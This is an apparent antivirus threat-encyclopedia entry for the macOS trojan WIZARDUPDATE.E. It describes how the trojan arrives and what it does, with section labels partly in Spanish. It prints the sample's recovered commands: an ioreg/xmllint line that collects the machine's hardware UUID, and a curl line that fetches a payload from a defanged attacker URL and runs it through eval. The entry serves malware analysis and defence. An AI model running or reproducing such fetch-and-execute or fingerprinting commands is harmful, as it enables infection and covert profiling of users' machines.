Trojan.MacOS.WIZARDUPDATE.E

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Otros detalles

Hace lo siguiente:

• The sample connects to a URL to download malware. This download routine is embedded in the cstring section of the sample written in binary format.
  
• Upon decryption it shows that the sample gathers hardware information of the machine via this command:
  • ioreg -ad2 -c IOPlatformExpertDevice | xmllint –xpath '//key[.="IOPlatformUUID"]/following-sibling::*[1]/text()'
• Then using the curl command, it connects to a URL to download a malicious file and then execute it using eval command:
  • MNZPAWE=$(curl --connect-timeout 900 -L "https[://]{BLOCKED}p[.]comhelpermodule[.]com/mnsdf?maid={{$}}");eval "$MNZPAWE"